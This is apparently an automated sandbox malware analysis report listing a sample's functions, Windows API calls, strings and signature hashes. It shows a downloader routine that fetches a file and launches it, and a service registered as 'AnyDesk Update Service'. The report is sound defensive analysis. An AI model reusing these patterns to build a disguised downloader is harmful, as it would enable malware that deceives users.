Opcode Fuzzy Hash: 66c358961b55405a7c2c8e21c583bcf1218276d2d0741f30b0a745b2ca595dfc
Instruction Fuzzy Hash: BF818036B097C18AE7608F65E4800AE7FA4F784B99F144136EFD857BA9DF38D4858700

Function 00007FF6C786D275 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6C786D2A3

Part of subcall function 00007FF6C786D39C: GetModuleHandleExW.KERNEL32 ref: 00007FF6C786D3C1
Part of subcall function 00007FF6C786D39C: GetProcAddress.KERNEL32 ref: 00007FF6C786D3D7
Part of subcall function 00007FF6C786D39C: FreeLibrary.KERNEL32 ref: 00007FF6C786D3FE

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: cd5b1ec9326ab752cbab8a506842d599e38701f1fb06bfee859337e6559e84a7
Instruction ID: 02058e954a1f6aec4b09f54f34e50f1804f6afab3ebdd7b0c42a83f36acad948
Opcode Fuzzy Hash: cd5b1ec9326ab752cbab8a506842d599e38701f1fb06bfee859337e6559e84a7
Instruction Fuzzy Hash: EE219F32A16B0599EB248F64D4822EC3BA0FB05719F040636D79D87BD5DF38E645C754

Function 00007FF6C788A608 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C788A62B

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d828b0d5652c2d04ac676ba8046156f360f4c386c5efaa2d7327842d9c67eb8d
Instruction ID: 75912682b8eabb102446c1c9a79c66c993c3f5a6ca3e00d5722bbf1a55ce03b3
Opcode Fuzzy Hash: d828b0d5652c2d04ac676ba8046156f360f4c386c5efaa2d7327842d9c67eb8d
Instruction Fuzzy Hash: FB21C632A09B4287DB61CF18D4403797AA1FB84B55F544235E7AEC76D9DF3CD8018B00

Function 00007FF6C7875868 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C78757D4

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a17d875b9342dfe3ed9dbf28369d4997790f73aba12d6fa00d5f6f8d2ccfcf94
Instruction ID: 7a93e76170cbacb7a28c2215b1feb777f0e9d58296821fbc4e14f020c5c99532
Opcode Fuzzy Hash: a17d875b9342dfe3ed9dbf28369d4997790f73aba12d6fa00d5f6f8d2ccfcf94
Instruction Fuzzy Hash: 58117C22B1E68182FF619F51D40037AAA90AF85B81F544535FBCECBAC6DE6CEA008740

Function 00007FF6C7867CF0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6C7867D04

Part of subcall function 00007FF6C78698F0: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF6C78698F8
Part of subcall function 00007FF6C78698F0: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF6C78698FD

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: 618b27d6aae39a8f871c17403ea0f75d10ea49eca7122d85f07bb336888fced9
Instruction ID: 667ff7f425e63be3a27244c2e8b78f3a2e99c2e793db579727c9b485b7411455
Opcode Fuzzy Hash: 618b27d6aae39a8f871c17403ea0f75d10ea49eca7122d85f07bb336888fced9
Instruction Fuzzy Hash: 84E0B650D6F243A4FE553F3515463B80E405F21347E502879DBEEC21CBDE0E234625A2

Non-executed Functions

Function 00007FF6C78586D0 Relevance: 55.5, APIs: 20, Strings: 10, Instructions: 2982synchronizationnetworksleepCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF6C7858711

Part of subcall function 00007FF6C785FCD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C785FE06
Part of subcall function 00007FF6C785FCD0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C785FE0C

GetFileAttributesW.KERNEL32 ref: 00007FF6C7859F1E
InternetCloseHandle.WININET ref: 00007FF6C785A4C0
GetFileAttributesW.KERNEL32 ref: 00007FF6C785A4E2
MoveFileW.KERNEL32 ref: 00007FF6C785A512
GetFileAttributesW.KERNEL32 ref: 00007FF6C785A527

Part of subcall function 00007FF6C785CDF0: InternetOpenW.WININET ref: 00007FF6C785CE27
Part of subcall function 00007FF6C785CDF0: InternetOpenUrlW.WININET ref: 00007FF6C785CE49
Part of subcall function 00007FF6C785CDF0: CreateFileW.KERNEL32 ref: 00007FF6C785CE75
Part of subcall function 00007FF6C785CDF0: InternetReadFile.WININET ref: 00007FF6C785CE91
Part of subcall function 00007FF6C785CDF0: WriteFile.KERNEL32 ref: 00007FF6C785CECA
Part of subcall function 00007FF6C785CDF0: InternetReadFile.WININET ref: 00007FF6C785CEE3
Part of subcall function 00007FF6C785CDF0: CloseHandle.KERNEL32 ref: 00007FF6C785CEF0

InternetCloseHandle.WININET ref: 00007FF6C785AA9F

Part of subcall function 00007FF6C785FC60: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C785FCBB

GetFileAttributesW.KERNEL32 ref: 00007FF6C785AAC1

Part of subcall function 00007FF6C785CF30: InternetCloseHandle.WININET ref: 00007FF6C785CF3B

ShellExecuteExW.SHELL32 ref: 00007FF6C785BB57
ShellExecuteExW.SHELL32 ref: 00007FF6C785C413
ShellExecuteExW.SHELL32 ref: 00007FF6C785CB50
GetLastError.KERNEL32 ref: 00007FF6C785CB5E
GetLastError.KERNEL32 ref: 00007FF6C785C421

Part of subcall function 00007FF6C785DBC0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C785DD85

GetLastError.KERNEL32 ref: 00007FF6C785BB65

Part of subcall function 00007FF6C785DBC0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C785DC89
Part of subcall function 00007FF6C785DBC0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C785DCB6
Part of subcall function 00007FF6C785DBC0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C785DCE3
Part of subcall function 00007FF6C785DBC0: std::_Facet_Register.LIBCPMT ref: 00007FF6C785DD64

WaitForSingleObject.KERNEL32 ref: 00007FF6C785BD8A
CloseHandle.KERNEL32 ref: 00007FF6C785BD94
WaitForSingleObject.KERNEL32 ref: 00007FF6C785CD0A
CloseHandle.KERNEL32 ref: 00007FF6C785CD14
Sleep.KERNEL32 ref: 00007FF6C785CD1F
WaitForSingleObject.KERNEL32 ref: 00007FF6C785CDB0

Strings

XhYh, xrefs: 00007FF6C7859A96
p, xrefs: 00007FF6C785872D
;*V*, xrefs: 00007FF6C7858747
R*=*, xrefs: 00007FF6C7858733
@, xrefs: 00007FF6C785CB06
7h*h, xrefs: 00007FF6C7859AA0
Qh7h, xrefs: 00007FF6C7859A46
#*1*, xrefs: 00007FF6C785873D
kh(h, xrefs: 00007FF6C7859A3C
4h>h, xrefs: 00007FF6C7859B18

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: File$Internet$CloseHandle$std::_$AttributesLockitObjectSingleWait$ErrorExecuteLastShell$Lockit::_Lockit::~_OpenRead_invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskCreateFacet_MoveRegisterSleepWrite
String ID: #*1*$4h>h$7h*h$;*V*$@$Qh7h$R*=*$XhYh$kh(h$p
API String ID: 3970674913-2482468732
Opcode ID: 077562850e548e5ee04dcf2a8a59179b575a7ea7ddc821b45c83099a5fb45278
Instruction ID: f61cd41803f750f0dae6ae02fc5508b62b519ca1592e5acb99ccc0e562c0cc67
Opcode Fuzzy Hash: 077562850e548e5ee04dcf2a8a59179b575a7ea7ddc821b45c83099a5fb45278
Instruction Fuzzy Hash: D7832A2691A2C299E330AF71D8413F93760FF6870AF405036E788CBAA9EF3D5645D719

Function 00007FF6C7857A20 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 627serviceregistrythreadCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF6C7857A61
GetLastError.KERNEL32 ref: 00007FF6C7857BA6
OpenSCManagerW.ADVAPI32 ref: 00007FF6C7857D12
GetLastError.KERNEL32 ref: 00007FF6C7857DC7
CloseServiceHandle.ADVAPI32 ref: 00007FF6C7858051
CloseServiceHandle.ADVAPI32 ref: 00007FF6C785805A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C78580C9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C78580CF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C78580D5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C78580DB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C78580E1
RegisterServiceCtrlHandlerW.ADVAPI32 ref: 00007FF6C785811E
SetServiceStatus.ADVAPI32 ref: 00007FF6C785844A
CreateEventW.KERNEL32 ref: 00007FF6C785845D
SetServiceStatus.ADVAPI32 ref: 00007FF6C7858499
CreateThread.KERNEL32 ref: 00007FF6C78584B6
GetLastError.KERNEL32 ref: 00007FF6C78584C8
SetServiceStatus.ADVAPI32 ref: 00007FF6C78584FD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C7858520

Strings

AnyDeskUpdateService, xrefs: 00007FF6C7858117
%s (%d), xrefs: 00007FF6C7857DD3
%s (%d), xrefs: 00007FF6C7857BB2
AnyDesk Update Service, xrefs: 00007FF6C7857E66
pslk, xrefs: 00007FF6C7857E91
%s (%d), xrefs: 00007FF6C7857F12
AnyDeskUpdateService, xrefs: 00007FF6C7857E6D
%s, xrefs: 00007FF6C7858007

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Service_invalid_parameter_noinfo_noreturn$ErrorLastStatus$CloseCreateHandle$CtrlEventFileHandlerManagerModuleNameOpenRegisterThread
String ID: %s$%s (%d)$%s (%d)$%s (%d)$AnyDesk Update Service$AnyDeskUpdateService$AnyDeskUpdateService$pslk
API String ID: 2335625088-53298800
Opcode ID: 00848399103b6d949bbf2ad8a78e9ae82022c4cbc5f55f62c2c1f851970f7318
Instruction ID: 21e0ed18f6b58ce876b982654bbd16cc4bc757597f8c22ff2b57b806755dd754
Opcode Fuzzy Hash: 00848399103b6d949bbf2ad8a78e9ae82022c4cbc5f55f62c2c1f851970f7318
Instruction Fuzzy Hash: 7862C222E196828AF700CF78E4042AD3BA1FF59799F505236EB9996AA5EF3CD145C700

Function 00007FF6C7888348 Relevance: 18.7, APIs: 6, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF6C7888396
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7888A02
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7888B78
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7888E36
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7889056
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7889293

Strings

1#IND, xrefs: 00007FF6C7888483
1#SNAN, xrefs: 00007FF6C78884A6
1#INF, xrefs: 00007FF6C78884BF
1#QNAN, xrefs: 00007FF6C78884AF

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 1709182501-2761157908
Opcode ID: b59e69f4204536450ccd6fa78c03395ee9f6d53d672f6eba5bc1b9b1de87101d
Instruction ID: ac59b56aeab79057291616a362656cfe4516c9a94120deb46e2429475410272c
Opcode Fuzzy Hash: b59e69f4204536450ccd6fa78c03395ee9f6d53d672f6eba5bc1b9b1de87101d
Instruction Fuzzy Hash: 1AB2C472A2A2828BE764CF65D4407FD3BA1FB54389F945136DB5ED7A84DF38A900CB40

Function 00007FF6C7862860 Relevance: 13.0, APIs: 6, Strings: 1, Instructions: 705COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C786298A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C7862990
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C7862A9C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C7862AA2

Part of subcall function 00007FF6C78679BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C78679EC
Part of subcall function 00007FF6C78679BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C78679F2

Strings

ios_base::failbit set, xrefs: 00007FF6C7862AB5

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Concurrency::cancel_current_task$_invalid_parameter_noinfo_noreturn
String ID: ios_base::failbit set
API String ID: 4131450254-3924258884
Opcode ID: d216165668479aeebd92cfd32e0e0fa09fef93c486884d47427c151aa33764a7
Instruction ID: cfa7d470c144509ca351d1f668c54d2756436a91095b03ee0f70ce4dc031f2d0
Opcode Fuzzy Hash: d216165668479aeebd92cfd32e0e0fa09fef93c486884d47427c151aa33764a7
Instruction Fuzzy Hash: 7D62BB22B2AA8696EB118F29D4402AD7BA1FB48F85F548131EF9DD3BA4DF3CD545C300

Function 00007FF6C7886ED0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 239COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6C787AB80: GetLastError.KERNEL32 ref: 00007FF6C787AB8F
Part of subcall function 00007FF6C787AB80: FlsGetValue.KERNEL32 ref: 00007FF6C787ABA4
Part of subcall function 00007FF6C787AB80: SetLastError.KERNEL32 ref: 00007FF6C787AC2F

TranslateName.LIBCMT ref: 00007FF6C7886F3A
TranslateName.LIBCMT ref: 00007FF6C7886F75
GetACP.KERNEL32 ref: 00007FF6C7886FBC
IsValidCodePage.KERNEL32 ref: 00007FF6C7886FF4
GetLocaleInfoW.KERNEL32 ref: 00007FF6C78871BD

Strings

utf8, xrefs: 00007FF6C78870D8

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue
String ID: utf8
API String ID: 3069159798-905460609
Opcode ID: 23966cb477daef38ef586ca10e469e6a55aaaa8553c2ec0c99e1010b04e3dac5
Instruction ID: 92aae95399ab042b2896f8bdab533841d7f5d427d9c71ac96986994c39e20317
Opcode Fuzzy Hash: 23966cb477daef38ef586ca10e469e6a55aaaa8553c2ec0c99e1010b04e3dac5
Instruction Fuzzy Hash: AE919C36B0A74286EB249F61D8406B92BA5EF44B82F448132DB9D877CADF3DE951C340

Function 00007FF6C788792C Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6C787AB80: GetLastError.KERNEL32 ref: 00007FF6C787AB8F
Part of subcall function 00007FF6C787AB80: FlsGetValue.KERNEL32 ref: 00007FF6C787ABA4
Part of subcall function 00007FF6C787AB80: SetLastError.KERNEL32 ref: 00007FF6C787AC2F

Part of subcall function 00007FF6C787AB80: FlsSetValue.KERNEL32 ref: 00007FF6C787ABC5

GetUserDefaultLCID.KERNEL32 ref: 00007FF6C7887A9C

Part of subcall function 00007FF6C787AB80: FlsSetValue.KERNEL32 ref: 00007FF6C787ABF2
Part of subcall function 00007FF6C787AB80: FlsSetValue.KERNEL32 ref: 00007FF6C787AC03
Part of subcall function 00007FF6C787AB80: FlsSetValue.KERNEL32 ref: 00007FF6C787AC14

EnumSystemLocalesW.KERNEL32 ref: 00007FF6C7887A83
ProcessCodePage.LIBCMT ref: 00007FF6C7887AC6
IsValidCodePage.KERNEL32 ref: 00007FF6C7887AD8
IsValidLocale.KERNEL32 ref: 00007FF6C7887AEE
GetLocaleInfoW.KERNEL32 ref: 00007FF6C7887B4A
GetLocaleInfoW.KERNEL32 ref: 00007FF6C7887B66

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: a02af41d092f35fb43f6f467199965a4c9166f1d5bb537038a4f83c2451e3280
Instruction ID: 03e0f7d210a02de0bf3d9ba94d65da3b62d8c7fd8bdf1cc52feae930257cf04e
Opcode Fuzzy Hash: a02af41d092f35fb43f6f467199965a4c9166f1d5bb537038a4f83c2451e3280
Instruction Fuzzy Hash: D7716822B1A64289FF219FB1D8506BC2BB0BF48B86F444136CB9D97795EF3CA545C350

Function 00007FF6C7868430 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6C786844C
RtlCaptureContext.KERNEL32 ref: 00007FF6C7868479
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6C7868493
RtlVirtualUnwind.KERNEL32 ref: 00007FF6C78684D4
IsDebuggerPresent.KERNEL32 ref: 00007FF6C7868528
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6C7868545
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6C7868550

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 5e37717cb04637ae486a186e1833263bf3eb9ee7c24be1d440358644591693ee
Instruction ID: 4916dd0bcf32fe4d61ca178bb6a216d91f275527ed0d33508fe4ec6c91d38c4f
Opcode Fuzzy Hash: 5e37717cb04637ae486a186e1833263bf3eb9ee7c24be1d440358644591693ee
Instruction Fuzzy Hash: B8313D72619B819AEB608F61E8503ED6774FB44705F40443ADB8D87B95EF38D648C710

Function 00007FF6C787478C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6C7874805
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6C787481D
RtlVirtualUnwind.KERNEL32 ref: 00007FF6C7874858
IsDebuggerPresent.KERNEL32 ref: 00007FF6C7874891
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6C787489B
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6C78748A6

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: bae0a4c4c2cad22568b79b792437c816fd46d0f8199cd0bc6f17ff1263d381fd
Instruction ID: 8d8d3872ecde1a0491cca07b99644f05774afebeed70d2a705520d13402052b7
Opcode Fuzzy Hash: bae0a4c4c2cad22568b79b792437c816fd46d0f8199cd0bc6f17ff1263d381fd
Instruction Fuzzy Hash: D1316D32619F8196DB60CF25E8402AE77A4FB89795F500136EBDD83B95EF3CD5458B00

Function 00007FF6C78832B4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7883300
FindFirstFileExW.KERNEL32 ref: 00007FF6C788340A

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: fbba52b1468ed587477220f350bb15cea76bb5262a21c8ee64979a1f66350291
Instruction ID: 5e03e42fd204e4162ddeea5d89cc99cf06772d7bc685ca46b88977a44c113be7
Opcode Fuzzy Hash: fbba52b1468ed587477220f350bb15cea76bb5262a21c8ee64979a1f66350291
Instruction Fuzzy Hash: 37B1B022B1A69241EA61DF26E9041BD6B91EB54BE6F444232EF9EC7F85DF3CE441C300

